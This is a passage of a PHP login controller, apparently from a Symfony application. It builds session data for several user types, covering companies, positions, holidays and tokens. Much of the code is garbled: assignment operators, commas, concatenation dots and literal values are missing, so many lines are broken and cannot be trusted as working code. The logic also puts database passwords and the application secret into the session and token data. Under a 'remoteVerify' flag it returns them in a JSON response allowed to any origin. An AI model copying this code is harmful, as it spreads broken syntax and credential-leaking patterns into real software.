  4936.                         $company_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['vibrant'];
  4937.                     }
  4938.                     if ($allModuleAccessFlag == 1)
  4939.                         $prohibit_list_array = [];
  4940.                     else if ($curr_position_id != 0)
  4941.                         $prohibit_list_array Position::getUserProhibitRouteArray($this->getDoctrine()->getManager(), $curr_position_id$user->getUserId());
  4942.                     $loginID $this->get('user_module')->addUserLoginLog(
  4943.                         $userId,
  4944.                         $request->server->get("REMOTE_ADDR"),
  4945.                         $curr_position_id
  4946.                     );
  4947.                     $appIdList json_decode($user->getUserAppIdList());
  4948.                     $branchIdList json_decode($user->getUserBranchIdList());
  4949.                     if ($branchIdList == null$branchIdList = [];
  4950.                     $branchId $user->getUserBranchId();
  4951.                     if ($appIdList == null$appIdList = [];
  4952. //
  4953. //                    if (!in_array($user->getUserAppId(), $appIdList))
  4954. //                        $appIdList[] = $user->getUserAppId();
  4955. //
  4956. //                    foreach ($appIdList as $currAppId) {
  4957. //                        if ($currAppId == $user->getUserAppId()) {
  4958. //
  4959. //                            foreach ($company_id_list as $index_company => $company_id) {
  4960. //                                $companyIdListByAppId[$currAppId][] = $currAppId . '_' . $company_id;
  4961. //                                $app_company_index = $currAppId . '_' . $company_id;
  4962. //                                $companyNameListByAppId[$app_company_index] = $company_name_list[$company_id];
  4963. //                                $companyImageListByAppId[$app_company_index] = $company_image_list[$company_id];
  4964. //                            }
  4965. //                        } else {
  4966. //
  4967. //                            $dataToConnect = System::changeDoctrineManagerByAppId(
  4968. //                                $this->getDoctrine()->getManager('company_group'),
  4969. //                                $gocEnabled,
  4970. //                                $currAppId
  4971. //                            );
  4972. //                            if (!empty($dataToConnect)) {
  4973. //                                $connector = $this->container->get('application_connector');
  4974. //                                $connector->resetConnection(
  4975. //                                    'default',
  4976. //                                    $dataToConnect['dbName'],
  4977. //                                    $dataToConnect['dbUser'],
  4978. //                                    $dataToConnect['dbPass'],
  4979. //                                    $dataToConnect['dbHost'],
  4980. //                                    $reset = true
  4981. //                                );
  4982. //                                $em = $this->getDoctrine()->getManager();
  4983. //
  4984. //                                $companyList = Company::getCompanyListWithImage($em);
  4985. //                                foreach ($companyList as $c => $dta) {
  4986. //                                    //                                $company_id_list[]=$c;
  4987. //                                    //                                $company_name_list[$c] = $companyList[$c]['name'];
  4988. //                                    //                                $company_image_list[$c] = $companyList[$c]['image'];
  4989. //                                    $companyIdListByAppId[$currAppId][] = $currAppId . '_' . $c;
  4990. //                                    $app_company_index = $currAppId . '_' . $c;
  4991. //                                    $companyNameListByAppId[$app_company_index] = $companyList[$c]['name'];
  4992. //                                    $companyImageListByAppId[$app_company_index] = $companyList[$c]['image'];
  4993. //                                }
  4994. //                            }
  4995. //                        }
  4996. //                    }
  4997.                 } else if ($userType == UserConstants::USER_TYPE_MANAGEMENT_USER) {
  4998.                     // General User
  4999.                     $employeeId 0;
  5000.                     $currentMonthHolidayList = [];
  5001.                     $currentHolidayCalendarId 0;
  5002.                     $employeeObj $em->getRepository('ApplicationBundle\\Entity\\Employee')
  5003.                         ->findOneBy(
  5004.                             array(
  5005.                                 'userId' => $user->getUserId()
  5006.                             )
  5007.                         );
  5008.                     if ($employeeObj) {
  5009.                         $employeeId $employeeObj->getEmployeeId();
  5010.                         $holidayListObj HumanResource::getFilteredHolidaysSingle($em, ['employeeId' => $employeeId], $employeeObjtrue);
  5011.                         $currentMonthHolidayList $holidayListObj['filteredData']['holidayList'];
  5012.                         $currentHolidayCalendarId $holidayListObj['calendarId'];
  5013.                     }
  5014.                     $session->set(UserConstants::USER_EMPLOYEE_IDstrval($employeeId));
  5015.                     $session->set(UserConstants::USER_HOLIDAY_LIST_CURRENT_MONTHjson_encode($currentMonthHolidayList));
  5016.                     $session->set(UserConstants::USER_HOLIDAY_CALENDAR_ID$currentHolidayCalendarId);
  5017.                     $session->set(UserConstants::USER_ID$user->getUserId());
  5018.                     $session->set(UserConstants::LAST_SETTINGS_UPDATED_TSstrval($user->getLastSettingsUpdatedTs()));
  5019.                     $session->set(UserConstants::USER_TYPEUserConstants::USER_TYPE_MANAGEMENT_USER);
  5020.                     $session->set(UserConstants::USER_EMAIL$user->getEmail());
  5021.                     $session->set(UserConstants::USER_IMAGE$user->getImage());
  5022.                     $session->set(UserConstants::USER_NAME$user->getName());
  5023.                     $session->set(UserConstants::USER_DEFAULT_ROUTE$user->getDefaultRoute());
  5024.                     $session->set(UserConstants::USER_COMPANY_ID$user->getUserCompanyId());
  5025.                     $session->set(UserConstants::USER_COMPANY_ID_LISTjson_encode($company_id_list));
  5026.                     $session->set(UserConstants::USER_COMPANY_NAME_LISTjson_encode($company_name_list));
  5027.                     $session->set(UserConstants::USER_COMPANY_IMAGE_LISTjson_encode($company_image_list));
  5028.                     $session->set('userCompanyDarkVibrantList'json_encode($company_dark_vibrant_list));
  5029.                     $session->set('userCompanyVibrantList'json_encode($company_vibrant_list));
  5030.                     $session->set('userCompanyLightVibrantList'json_encode($company_light_vibrant_list));
  5031.                     $session->set(UserConstants::USER_APP_ID$user->getUserAppId());
  5032.                     $session->set(UserConstants::USER_POSITION_LIST$user->getPositionIds());
  5033.                     $session->set(UserConstants::ALL_MODULE_ACCESS_FLAG$user->getAllModuleAccessFlag());
  5034.                     $session->set(UserConstants::SESSION_SALTuniqid(mt_rand()));
  5035.                     $session->set(UserConstants::APPLICATION_SECRET$this->container->getParameter('secret'));
  5036.                     $session->set(UserConstants::USER_GOC_ID$gocId);
  5037.                     $session->set(UserConstants::USER_DB_NAME$gocDbName);
  5038.                     $session->set(UserConstants::USER_DB_USER$gocDbUser);
  5039.                     $session->set(UserConstants::USER_DB_PASS$gocDbPass);
  5040.                     $session->set(UserConstants::USER_DB_HOST$gocDbHost);
  5041.                     $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE$product_name_display_type);
  5042.                     $session->set(UserConstants::USER_NOTIFICATION_ENABLEDGeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0);
  5043.                     $session->set(UserConstants::USER_NOTIFICATION_SERVER$this->getParameter('notification_server'));
  5044.                     if (count(json_decode($user->getPositionIds(), true)) > 1) {
  5045.                         return $this->redirectToRoute("user_login_position");
  5046.                     } else {
  5047.                         $PL json_decode($user->getPositionIds(), true);
  5048.                         $route_list_array Position::getUserRouteArray($this->getDoctrine()->getManager(), $PL[0], $user->getUserId());
  5049.                         $session->set(UserConstants::USER_CURRENT_POSITION$PL[0]);
  5050.                         $loginID $this->get('user_module')->addUserLoginLog(
  5051.                             $session->get(UserConstants::USER_ID),
  5052.                             $request->server->get("REMOTE_ADDR"),
  5053.                             $PL[0]
  5054.                         );
  5055.                         $session->set(UserConstants::USER_LOGIN_ID$loginID);
  5056.                         //                    $session->set(UserConstants::USER_LOGIN_ID, $loginID);
  5057.                         $session->set(UserConstants::USER_GOC_ID$gocId);
  5058.                         $session->set(UserConstants::USER_DB_NAME$gocDbName);
  5059.                         $session->set(UserConstants::USER_DB_USER$gocDbUser);
  5060.                         $session->set(UserConstants::USER_DEFAULT_ROUTE$user->getDefaultRoute());
  5061.                         $session->set(UserConstants::USER_DB_PASS$gocDbPass);
  5062.                         $session->set(UserConstants::USER_DB_HOST$gocDbHost);
  5063.                         $session->set(UserConstants::USER_ROUTE_LISTjson_encode($route_list_array));
  5064.                         $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE$product_name_display_type);
  5065.                         $appIdList json_decode($user->getUserAppIdList());
  5066.                         if ($appIdList == null$appIdList = [];
  5067.                         $companyIdListByAppId = [];
  5068.                         $companyNameListByAppId = [];
  5069.                         $companyImageListByAppId = [];
  5070.                         if (!in_array($user->getUserAppId(), $appIdList))
  5071.                             $appIdList[] = $user->getUserAppId();
  5072.                         foreach ($appIdList as $currAppId) {
  5073.                             if ($currAppId == $user->getUserAppId()) {
  5074.                                 foreach ($company_id_list as $index_company => $company_id) {
  5075.                                     $companyIdListByAppId[$currAppId][] = $currAppId '_' $company_id;
  5076.                                     $app_company_index $currAppId '_' $company_id;
  5077.                                     $companyNameListByAppId[$app_company_index] = $company_name_list[$company_id];
  5078.                                     $companyImageListByAppId[$app_company_index] = $company_image_list[$company_id];
  5079.                                 }
  5080.                             } else {
  5081.                                 $dataToConnect System::changeDoctrineManagerByAppId(
  5082.                                     $this->getDoctrine()->getManager('company_group'),
  5083.                                     $gocEnabled,
  5084.                                     $currAppId
  5085.                                 );
  5086.                                 if (!empty($dataToConnect)) {
  5087.                                     $connector $this->container->get('application_connector');
  5088.                                     $connector->resetConnection(
  5089.                                         'default',
  5090.                                         $dataToConnect['dbName'],
  5091.                                         $dataToConnect['dbUser'],
  5092.                                         $dataToConnect['dbPass'],
  5093.                                         $dataToConnect['dbHost'],
  5094.                                         $reset true
  5095.                                     );
  5096.                                     $em $this->getDoctrine()->getManager();
  5097.                                     $companyList Company::getCompanyListWithImage($em);
  5098.                                     foreach ($companyList as $c => $dta) {
  5099.                                         //                                $company_id_list[]=$c;
  5100.                                         //                                $company_name_list[$c] = $companyList[$c]['name'];
  5101.                                         //                                $company_image_list[$c] = $companyList[$c]['image'];
  5102.                                         $companyIdListByAppId[$currAppId][] = $currAppId '_' $c;
  5103.                                         $app_company_index $currAppId '_' $c;
  5104.                                         $company_locale $companyList[$c]['locale'];
  5105.                                         $companyNameListByAppId[$app_company_index] = $companyList[$c]['name'];
  5106.                                         $companyImageListByAppId[$app_company_index] = $companyList[$c]['image'];
  5107.                                     }
  5108.                                 }
  5109.                             }
  5110.                         }
  5111.                         $session->set('appIdList'$appIdList);
  5112.                         $session->set('companyIdListByAppId'$companyIdListByAppId);
  5113.                         $session->set('companyNameListByAppId'$companyNameListByAppId);
  5114.                         $session->set('companyImageListByAppId'$companyImageListByAppId);
  5115.                         $branchIdList json_decode($user->getUserBranchIdList());
  5116.                         $branchId $user->getUserBranchId();
  5117.                         $session->set('branchIdList'$branchIdList);
  5118.                         $session->set('branchId'$branchId);
  5119.                         if ($user->getAllModuleAccessFlag() == 1)
  5120.                             $session->set(UserConstants::USER_PROHIBIT_LISTjson_encode([]));
  5121.                         else
  5122.                             $session->set(UserConstants::USER_PROHIBIT_LISTjson_encode(Position::getUserProhibitRouteArray($this->getDoctrine()->getManager(), $PL[0], $user->getUserId())));
  5123.                         $session_data = array(
  5124.                             UserConstants::USER_ID => $session->get(UserConstants::USER_ID),
  5125.                             UserConstants::LAST_SETTINGS_UPDATED_TS => $session->get(UserConstants::LAST_SETTINGS_UPDATED_TS),
  5126.                             UserConstants::USER_EMPLOYEE_ID => $session->get(UserConstants::USER_EMPLOYEE_ID),
  5127.                             'oAuthToken' => $session->get('oAuthToken'),
  5128.                             'locale' => $session->get('locale'),
  5129.                             'firebaseToken' => $session->get('firebaseToken'),
  5130.                             'token' => $session->get('token'),
  5131.                             'firstLogin' => $firstLogin,
  5132.                             'BUDDYBEE_BALANCE' => $session->get('BUDDYBEE_BALANCE'),
  5133.                             'BUDDYBEE_COIN_BALANCE' => $session->get('BUDDYBEE_COIN_BALANCE'),
  5134.                             UserConstants::IS_BUDDYBEE_RETAILER => $session->get(UserConstants::IS_BUDDYBEE_RETAILER),
  5135.                             UserConstants::BUDDYBEE_RETAILER_LEVEL => $session->get(UserConstants::BUDDYBEE_RETAILER_LEVEL),
  5136.                             UserConstants::BUDDYBEE_ADMIN_LEVEL => $session->get(UserConstants::BUDDYBEE_ADMIN_LEVEL),
  5137.                             UserConstants::IS_BUDDYBEE_MODERATOR => $session->get(UserConstants::IS_BUDDYBEE_MODERATOR),
  5138.                             UserConstants::IS_BUDDYBEE_ADMIN => $session->get(UserConstants::IS_BUDDYBEE_ADMIN),
  5139.                             UserConstants::USER_LOGIN_ID => $session->get(UserConstants::USER_LOGIN_ID),
  5140.                             UserConstants::USER_EMAIL => $session->get(UserConstants::USER_EMAIL),
  5141.                             UserConstants::USER_TYPE => $session->get(UserConstants::USER_TYPE),
  5142.                             UserConstants::USER_IMAGE => $session->get(UserConstants::USER_IMAGE),
  5143.                             'oAuthImage' => $session->get('oAuthImage'),
  5144.                             UserConstants::USER_DEFAULT_ROUTE => $session->get(UserConstants::USER_DEFAULT_ROUTE),
  5145.                             UserConstants::USER_NAME => $session->get(UserConstants::USER_NAME),
  5146.                             UserConstants::USER_COMPANY_ID => $session->get(UserConstants::USER_COMPANY_ID),
  5147.                             UserConstants::USER_COMPANY_ID_LIST => $session->get(UserConstants::USER_COMPANY_ID_LIST),
  5148.                             UserConstants::USER_COMPANY_NAME_LIST => $session->get(UserConstants::USER_COMPANY_NAME_LIST),
  5149.                             UserConstants::USER_COMPANY_IMAGE_LIST => $session->get(UserConstants::USER_COMPANY_IMAGE_LIST),
  5150.                             UserConstants::USER_APP_ID => $session->get(UserConstants::USER_APP_ID),
  5151.                             UserConstants::USER_LOGIN_ID => $session->get(UserConstants::USER_LOGIN_ID),
  5152.                             UserConstants::USER_CURRENT_POSITION => $session->get(UserConstants::USER_CURRENT_POSITION),
  5153.                             UserConstants::USER_APP_ID => $session->get(UserConstants::USER_APP_ID),
  5154.                             UserConstants::SESSION_SALT => $session->get(UserConstants::SESSION_SALT),
  5155.                             UserConstants::APPLICATION_SECRET => $session->get(UserConstants::APPLICATION_SECRET),
  5156.                             UserConstants::USER_POSITION_LIST => $session->get(UserConstants::USER_POSITION_LIST),
  5157.                             'userCompanyDarkVibrantList' => $session->get('userCompanyDarkVibrantList', []),
  5158.                             'userCompanyVibrantList' => $session->get('userCompanyVibrantList', []),
  5159.                             'userCompanyLightVibrantList' => $session->get('userCompanyLightVibrantList', []),
  5160.                             UserConstants::ALL_MODULE_ACCESS_FLAG => $session->get(UserConstants::ALL_MODULE_ACCESS_FLAG),
  5161.                             UserConstants::USER_GOC_ID => $session->get(UserConstants::USER_GOC_ID),
  5162.                             UserConstants::USER_DB_NAME => $session->get(UserConstants::USER_DB_NAME),
  5163.                             UserConstants::USER_DB_USER => $session->get(UserConstants::USER_DB_USER),
  5164.                             UserConstants::USER_DB_HOST => $session->get(UserConstants::USER_DB_HOST),
  5165.                             UserConstants::USER_DB_PASS => $session->get(UserConstants::USER_DB_PASS),
  5166.                             UserConstants::PRODUCT_NAME_DISPLAY_TYPE => $session->get(UserConstants::PRODUCT_NAME_DISPLAY_TYPE),
  5167.                             UserConstants::USER_NOTIFICATION_ENABLED => GeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0,
  5168.                             UserConstants::USER_NOTIFICATION_SERVER => $this->getParameter('notification_server'),
  5169.                             //new
  5170.                             'appIdList' => $session->get('appIdList'),
  5171.                             'branchIdList' => $session->get('branchIdList'null),
  5172.                             'branchId' => $session->get('branchId'null),
  5173.                             'companyIdListByAppId' => $session->get('companyIdListByAppId'),
  5174.                             'companyNameListByAppId' => $session->get('companyNameListByAppId'),
  5175.                             'companyImageListByAppId' => $session->get('companyImageListByAppId'),
  5176.                         );
  5177.                         $session_data $this->filterClientSessionData($session_data);
  5178.                         $tokenData MiscActions::CreateTokenFromSessionData($em_goc$session_data);
  5179.                         $session_data $tokenData['sessionData'];
  5180.                         $token $tokenData['token'];
  5181.                         $session->set('token'$token);
  5182.                         if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  5183.                             $session->set('remoteVerified'1);
  5184.                             $response = new JsonResponse(array(
  5185.                                 'uid' => $session->get(UserConstants::USER_ID),
  5186.                                 'session' => $session,
  5187.                                 'token' => $token,
  5188.                                 'success' => true,
  5189.                                 'session_data' => $session_data,
  5190.                             ));
  5191.                             $response->headers->set('Access-Control-Allow-Origin''*');
  5192.                             return $response;
  5193.                         }
  5194.                         if (!empty($session->get('LAST_REQUEST_URI_BEFORE_LOGIN'))) {
  5195.                             if (strripos($session->get('REQUEST_URI'), 'select_data') === false) {
  5196.                                 if ($session->get('LAST_REQUEST_URI_BEFORE_LOGIN') != '' && $session->get('LAST_REQUEST_URI_BEFORE_LOGIN') != null) {
  5197.                                     $red $session->get('LAST_REQUEST_URI_BEFORE_LOGIN');
  5198.                                     $session->set('LAST_REQUEST_URI_BEFORE_LOGIN''');
  5199.                                     return $this->redirect($red);
  5200.                                 }
  5201.                             } else {
  5202.                                 $session->set('LAST_REQUEST_URI_BEFORE_LOGIN''');
  5203.                             }
  5204.                         } else if ($user->getDefaultRoute() == "" || $user->getDefaultRoute() == "")
  5205.                             return $this->redirectToRoute("dashboard");
  5206.                         else
  5207.                             return $this->redirectToRoute($user->getDefaultRoute());
  5208. //                        if ($request->server->has("HTTP_REFERER")) {
  5209. //                            if ($request->server->get('HTTP_REFERER') != '/' && $request->server->get('HTTP_REFERER') != ''  && $request->server->get('HTTP_REFERER') != null) {
  5210. //                                return $this->redirect($request->request->get('HTTP_REFERER'));
  5211. //                            }
  5212. //                        }
  5213. //
  5214. //                        //                    $request->server->get("REMOTE_ADDR"), $PL[0]);
  5215. //                        if ($request->request->has('referer_path')) {
  5216. //                            if ($request->request->get('referer_path') != '/' && $request->request->get('referer_path') != '' && $request->request->get('referer_path') != null) {
  5217. //                                return $this->redirect($request->request->get('referer_path'));
  5218. //                            }
  5219. //                        }
  5220. //                        //                    if($request->request->has('gocId')
  5221. //
  5222. //                        if ($user->getDefaultRoute() == "" || $user->getDefaultRoute() == "")
  5223. //                            return $this->redirectToRoute("dashboard");
  5224. //                        else
  5225. //                            return $this->redirectToRoute($user->getDefaultRoute());
  5226.                     }
  5227.                 } else if ($userType == UserConstants::USER_TYPE_APPLICANT) {
  5228.                     $applicantId $user->getApplicantId();
  5229.                     $userId $user->getApplicantId();
  5230.                     $globalId $user->getApplicantId();
  5231.                     $lastSettingsUpdatedTs $user->getLastSettingsUpdatedTs();
  5232.                     $isConsultant $user->getIsConsultant() == 0;
  5233.                     $isRetailer $user->getIsRetailer() == 0;
  5234.                     $retailerLevel $user->getRetailerLevel() == 0;
  5235.                     $adminLevel $user->getIsAdmin() == ? (($user->getAdminLevel() != null && $user->getAdminLevel() != 0) ? $user->getAdminLevel() : 1) : ($user->getIsModerator() == 0);
  5236.                     $isModerator $user->getIsModerator() == 0;
  5237.                     $isAdmin $user->getIsAdmin() == 0;
  5238.                     $userEmail $user->getOauthEmail();
  5239.                     $userImage $user->getImage();
  5240.                     $userFullName $user->getFirstName() . ' ' $user->getLastName();
  5241.                     $triggerResetPassword $user->getTriggerResetPassword() == 0;
  5242.                     $isEmailVerified $user->getIsEmailVerified() == 0;
  5243.                     $buddybeeBalance $user->getAccountBalance();
  5244.                     $buddybeeCoinBalance $user->getSessionCountBalance();
  5245.                     $userDefaultRoute 'applicant_dashboard';
  5246. //            $userAppIds = json_decode($user->getUserAppIds(), true);
  5247.                     $userAppIds = [];
  5248.                     $userSuspendedAppIds json_decode($user->getUserSuspendedAppIds(), true);
  5249.                     $userTypesByAppIds json_decode($user->getUserTypesByAppIds(), true);
  5250.                     if ($userAppIds == null$userAppIds = [];
  5251.                     if ($userSuspendedAppIds == null$userSuspendedAppIds = [];
  5252.                     if ($userTypesByAppIds == null$userTypesByAppIds = [];
  5253.                     foreach ($userTypesByAppIds as $aid => $accData)
  5254.                         if (in_array($aid$userSuspendedAppIds))
  5255.                             unset($userTypesByAppIds[$aid]);
  5256.                         else
  5257.                             $userAppIds[] = $aid;
  5258. //                    $userAppIds=array_diff($userAppIds,$userSuspendedAppIds);
  5259.                     if ($user->getOAuthEmail() == '' || $user->getOAuthEmail() == null$currRequiredPromptFields[] = 'email';
  5260.                     if ($user->getPhone() == '' || $user->getPhone() == null$currRequiredPromptFields[] = 'phone';
  5261.                     if ($user->getCurrentCountryId() == '' || $user->getCurrentCountryId() == null || $user->getCurrentCountryId() == 0$currRequiredPromptFields[] = 'currentCountryId';
  5262.                     if ($user->getPreferredConsultancyTopicCountryIds() == '' || $user->getPreferredConsultancyTopicCountryIds() == null || $user->getPreferredConsultancyTopicCountryIds() == '[]'$currRequiredPromptFields[] = 'preferredConsultancyTopicCountryIds';
  5263.                     if ($user->getIsConsultant() == && ($user->getPreferredTopicIdsAsConsultant() == '' || $user->getPreferredTopicIdsAsConsultant() == null || $user->getPreferredTopicIdsAsConsultant() == '[]')) $currRequiredPromptFields[] = 'preferredTopicIdsAsConsultant';
  5264.                     $loginID MiscActions::addEntityUserLoginLog(
  5265.                         $em_goc,
  5266.                         $userId,
  5267.                         $applicantId,
  5268.                         1,
  5269.                         $request->server->get("REMOTE_ADDR"),
  5270.                         0,
  5271.                         $request->request->get('deviceId'''),
  5272.                         $request->request->get('oAuthToken'''),
  5273.                         $request->request->get('oAuthType'''),
  5274.                         $request->request->get('locale'''),
  5275.                         $request->request->get('firebaseToken''')
  5276.                     );
  5277.                 } else if ($userType == UserConstants::USER_TYPE_GENERAL) {
  5278.                     // General User
  5279.                     $employeeObj $em->getRepository('ApplicationBundle\\Entity\\Employee')
  5280.                         ->findOneBy(
  5281.                             array(
  5282.                                 'userId' => $user->getUserId()
  5283.                             )
  5284.                         );
  5285.                     if ($employeeObj) {
  5286.                         $employeeId $employeeObj->getEmployeeId();
  5287.                         $holidayListObj HumanResource::getFilteredHolidaysSingle($em, ['employeeId' => $employeeId], $employeeObjtrue);
  5288.                         $currentMonthHolidayList $holidayListObj['filteredData']['holidayList'];
  5289.                         $currentHolidayCalendarId $holidayListObj['calendarId'];
  5290.                     }
  5291.                     $currentTask $em->getRepository('ApplicationBundle\\Entity\\TaskLog')
  5292.                         ->findOneBy(
  5293.                             array(
  5294.                                 'userId' => $user->getUserId(),
  5295.                                 'workingStatus' => 1
  5296.                             )
  5297.                         );
  5298.                     if ($currentTask) {
  5299.                         $currentTaskId $currentTask->getId();
  5300.                         $currentPlanningItemId $currentTask->getPlanningItemId();
  5301.                     }
  5302.                     $userId $user->getUserId();
  5303.                     $userCompanyId 1;
  5304.                     $lastSettingsUpdatedTs $user->getLastSettingsUpdatedTs();
  5305.                     $userEmail $user->getEmail();
  5306.                     $userImage $user->getImage();
  5307.                     $userFullName $user->getName();
  5308.                     $triggerResetPassword $user->getTriggerResetPassword() == 0;
  5309.                     $isEmailVerified $user->getIsEmailVerified() == 0;
  5310.                     $position_list_array json_decode($user->getPositionIds(), true);
  5311.                     if ($position_list_array == null$position_list_array = [];
  5312.                     $filtered_pos_array = [];
  5313.                     foreach ($position_list_array as $defPos)
  5314.                         if ($defPos != '' && $defPos != 0)
  5315.                             $filtered_pos_array[] = $defPos;
  5316.                     $position_list_array $filtered_pos_array;
  5317.                     if (!empty($position_list_array))
  5318.                         foreach ($position_list_array as $defPos)
  5319.                             if ($defPos != '' && $defPos != && $curr_position_id == 0) {
  5320.                                 $curr_position_id $defPos;
  5321.                             }
  5322.                     $userDefaultRoute $user->getDefaultRoute();
  5323.                     $allModuleAccessFlag $user->getAllModuleAccessFlag() == 0;
  5324.                     if ($userDefaultRoute == "" || $userDefaultRoute == null)
  5325.                         $userDefaultRoute 'dashboard';
  5326.                     $route_list_array Position::getUserRouteArray($this->getDoctrine()->getManager(), $curr_position_id$userId);
  5327.                     $companyList Company::getCompanyListWithImage($this->getDoctrine()->getManager());
  5328.                     if (isset($companyList[$userCompanyId])) {
  5329.                         $company_name_list[$userCompanyId] = $companyList[$userCompanyId]['name'];
  5330.                         $company_image_list[$userCompanyId] = $companyList[$userCompanyId]['image'];
  5331.                         $company_dark_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['dark_vibrant'];
  5332.                         $company_light_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['light_vibrant'];
  5333.                         $company_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['vibrant'];
  5334.                     }
  5335.                     if ($allModuleAccessFlag == 1)
  5336.                         $prohibit_list_array = [];
  5337.                     else if ($curr_position_id != 0)
  5338.                         $prohibit_list_array Position::getUserProhibitRouteArray($this->getDoctrine()->getManager(), $curr_position_id$user->getUserId());
  5339.                     $loginID $this->get('user_module')->addUserLoginLog(
  5340.                         $userId,
  5341.                         $request->server->get("REMOTE_ADDR"),
  5342.                         $curr_position_id
  5343.                     );
  5344.                     $appIdList json_decode($user->getUserAppIdList());
  5345.                     $branchIdList json_decode($user->getUserBranchIdList());
  5346.                     if ($branchIdList == null$branchIdList = [];
  5347.                     $branchId $user->getUserBranchId();
  5348.                     if ($appIdList == null$appIdList = [];
  5349.                     if (!in_array($user->getUserAppId(), $appIdList))
  5350.                         $appIdList[] = $user->getUserAppId();
  5351.                     foreach ($appIdList as $currAppId) {
  5352.                         if ($currAppId == $user->getUserAppId()) {
  5353.                             foreach ($company_id_list as $index_company => $company_id) {
  5354.                                 $companyIdListByAppId[$currAppId][] = $currAppId '_' $company_id;
  5355.                                 $app_company_index $currAppId '_' $company_id;
  5356.                                 $companyNameListByAppId[$app_company_index] = $company_name_list[$company_id];
  5357.                                 $companyImageListByAppId[$app_company_index] = $company_image_list[$company_id];
  5358.                             }
  5359.                         } else {
  5360.                             $dataToConnect System::changeDoctrineManagerByAppId(
  5361.                                 $this->getDoctrine()->getManager('company_group'),
  5362.                                 $gocEnabled,
  5363.                                 $currAppId
  5364.                             );
  5365.                             if (!empty($dataToConnect)) {
  5366.                                 $connector $this->container->get('application_connector');
  5367.                                 $connector->resetConnection(
  5368.                                     'default',
  5369.                                     $dataToConnect['dbName'],
  5370.                                     $dataToConnect['dbUser'],
  5371.                                     $dataToConnect['dbPass'],
  5372.                                     $dataToConnect['dbHost'],
  5373.                                     $reset true
  5374.                                 );
  5375.                                 $em $this->getDoctrine()->getManager();
  5376.                                 $companyList Company::getCompanyListWithImage($em);
  5377.                                 foreach ($companyList as $c => $dta) {
  5378.                                     //                                $company_id_list[]=$c;
  5379.                                     //                                $company_name_list[$c] = $companyList[$c]['name'];
  5380.                                     //                                $company_image_list[$c] = $companyList[$c]['image'];
  5381.                                     $companyIdListByAppId[$currAppId][] = $currAppId '_' $c;
  5382.                                     $app_company_index $currAppId '_' $c;
  5383.                                     $company_locale $companyList[$c]['locale'];
  5384.                                     $companyNameListByAppId[$app_company_index] = $companyList[$c]['name'];
  5385.                                     $companyImageListByAppId[$app_company_index] = $companyList[$c]['image'];
  5386.                                 }
  5387.                             }
  5388.                         }
  5389.                     }
  5390.                     if (count($position_list_array) > 1) {
  5391.                         $userForcedRoute 'user_login_position';
  5392. //                        return $this->redirectToRoute("user_login_position");
  5393.                     } else {
  5394.                     }
  5395.                 }
  5396.                 if ($userType == UserConstants::USER_TYPE_APPLICANT ||
  5397.                     $userType == UserConstants::USER_TYPE_GENERAL ||
  5398.                     $userType == UserConstants::USER_TYPE_SYSTEM
  5399.                 ) {
  5400.                     $session_data = array(
  5401.                         UserConstants::USER_ID => $userId,
  5402.                         UserConstants::USER_EMPLOYEE_ID => $employeeId,
  5403.                         UserConstants::APPLICANT_ID => $applicantId,
  5404.                         UserConstants::USER_CURRENT_TASK_ID => $currentTaskId,
  5405.                         UserConstants::USER_CURRENT_PLANNING_ITEM_ID => $currentPlanningItemId,
  5406.                         UserConstants::USER_HOLIDAY_LIST_CURRENT_MONTH => json_encode($currentMonthHolidayList),
  5407.                         UserConstants::USER_HOLIDAY_CALENDAR_ID => $currentHolidayCalendarId,
  5408.                         UserConstants::SUPPLIER_ID => $supplierId,
  5409.                         UserConstants::CLIENT_ID => $clientId,
  5410.                         UserConstants::USER_TYPE => $userType,
  5411.                         UserConstants::LAST_SETTINGS_UPDATED_TS => $lastSettingsUpdatedTs == null $lastSettingsUpdatedTs,
  5412.                         UserConstants::IS_CONSULTANT => $isConsultant,
  5413.                         UserConstants::IS_BUDDYBEE_RETAILER => $isRetailer,
  5414.                         UserConstants::BUDDYBEE_RETAILER_LEVEL => $retailerLevel,
  5415.                         UserConstants::BUDDYBEE_ADMIN_LEVEL => $adminLevel,
  5416.                         UserConstants::IS_BUDDYBEE_MODERATOR => $isModerator,
  5417.                         UserConstants::IS_BUDDYBEE_ADMIN => $isAdmin,
  5418.                         UserConstants::USER_EMAIL => $userEmail == null "" $userEmail,
  5419.                         UserConstants::USER_IMAGE => $userImage == null "" $userImage,
  5420.                         UserConstants::USER_NAME => $userFullName,
  5421.                         UserConstants::USER_DEFAULT_ROUTE => $userDefaultRoute,
  5422.                         UserConstants::USER_COMPANY_ID => $userCompanyId,
  5423.                         UserConstants::USER_COMPANY_ID_LIST => json_encode($company_id_list),
  5424.                         UserConstants::USER_COMPANY_NAME_LIST => json_encode($company_name_list),
  5425.                         UserConstants::USER_COMPANY_IMAGE_LIST => json_encode($company_image_list),
  5426.                         UserConstants::USER_APP_ID => $appIdFromUserName,
  5427.                         UserConstants::USER_POSITION_LIST => json_encode($position_list_array),
  5428.                         UserConstants::ALL_MODULE_ACCESS_FLAG => $allModuleAccessFlag,
  5429.                         UserConstants::SESSION_SALT => uniqid(mt_rand()),
  5430.                         UserConstants::APPLICATION_SECRET => $this->container->getParameter('secret'),
  5431.                         UserConstants::USER_GOC_ID => $gocId,
  5432.                         UserConstants::USER_DB_NAME => $gocDbName,
  5433.                         UserConstants::USER_DB_USER => $gocDbUser,
  5434.                         UserConstants::USER_DB_PASS => $gocDbPass,
  5435.                         UserConstants::USER_DB_HOST => $gocDbHost,
  5436.                         UserConstants::PRODUCT_NAME_DISPLAY_TYPE => $product_name_display_type,
  5437.                         UserConstants::USER_NOTIFICATION_ENABLED => GeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0,
  5438.                         UserConstants::USER_NOTIFICATION_SERVER => $this->getParameter('notification_server'),
  5439.                         UserConstants::USER_LOGIN_ID => $loginID,
  5440.                         UserConstants::USER_CURRENT_POSITION => $curr_position_id,
  5441.                         UserConstants::USER_ROUTE_LIST => json_encode($route_list_array),
